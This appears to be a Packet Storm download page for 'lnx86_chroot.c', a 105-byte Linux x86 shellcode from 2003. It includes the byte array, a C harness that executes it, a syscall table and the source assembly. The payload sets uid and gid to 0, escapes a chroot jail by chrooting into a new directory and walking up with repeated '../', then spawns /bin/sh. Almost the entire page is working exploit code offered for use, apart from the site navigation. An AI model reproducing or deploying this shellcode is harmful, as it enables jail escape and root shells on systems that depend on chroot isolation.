what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

lnx86_chroot.c

lnx86_chroot.c
Posted Oct 16, 2003
Authored by posidron | Site tripbit.org

105 byte size shellcode that executes: setuid(), setgid(), mkdir(), chroot(), chdir(), chroot(), execv(), exit(). ASM code and syscall table are included.

tags | shellcode
SHA-256 | 2d9d05332ebda5bbdce4419ae67090617a9ffcd128b5e47e8ef0c3798f7e4dc3

lnx86_chroot.c

Change Mirror Download
/*  Tripbit Security Research (tripbit.org)
*
* title: lnx86_brkchroot
* size: 105 bytes
* execute: setuid(), setgid(), mkdir(), chroot(),
* chdir(), chroot(), execv(), exit()
* system: linux x86
* author: posidron
* contact: posidron[at]tripbit.org
*/


char shellcode[]= "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\xb0\x2e"
"\xcd\x80\x31\xc0\x53\x68\x77\x30\x30\x74\x89\xe3"
"\xb0\x27\xcd\x80\x31\xc0\xb0\x3d\xcd\x80\x31\xc0"
"\x31\xdb\x31\xc9\xb1\x0a\x50\x68\x2e\x2e\x2f\x2f"
"\xe2\xf9\x89\xe3\xb0\x0c\xcd\x80\x31\xc0\x31\xdb"
"\x6a\x2e\x89\xe3\xb0\x3d\xcd\x80\x31\xc0\x31\xdb"
"\x31\xc9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd"
"\x80\x31\xc0\x31\xdb\xb0\x01\xcd\x80";

int main(int argc, char **argv)
{
void(*tsr) (void);
tsr = (void*)shellcode;
tsr();
return 0;
}


/*
%eax Name Source %ebx %ecx
1 sys_exit kernel/exit.c int -
11 sys_execve arch/i386/kernel/process.c struct pt_regs -
12 sys_chdir fs/open.c const char* -
23 sys_setuid kernel/sys.c uid_t -
46 sys_setgid kernel/sys.c gid_t -
39 sys_mkdir fs/namei.c const char* int
61 sys_chroot fs/open.c const char* -
*/


/*
main()
{
__asm__("
xor %eax, %eax
xor %ebx, %ebx
mov $0x17, %al
int $0x80

xor %eax, %eax
mov $0x2e, %al
int $0x80

xor %eax, %eax
push %ebx
push $0x74303077
mov %esp, %ebx
mov $0x27, %al
int $0x80

xor %eax, %eax
mov $0x3d, %al
int $0x80

xor %eax, %eax
xor %ebx, %ebx
xor %ecx, %ecx
mov $0xa, %cl
push %eax
evil:
pushl $0x2f2f2e2e
loop evil
mov %esp, %ebx
mov $0xc, %al
int $0x80

xor %eax, %eax
xor %ebx, %ebx
push $0x2e
mov %esp, %ebx
mov $0x3d, %al
int $0x80

xor %eax, %eax
xor %ebx, %ebx
xor %ecx, %ecx
push %eax
push $0x68732f2f
push $0x6e69622f
mov %esp, %ebx
push %eax
push %ebx
mov %esp, %ecx
xor %edx, %edx
mov $0xb,%al
int $0x80

xor %eax, %eax
xor %ebx, %ebx
mov $0x1, %al
int $0x80
");
}*/
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    53 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close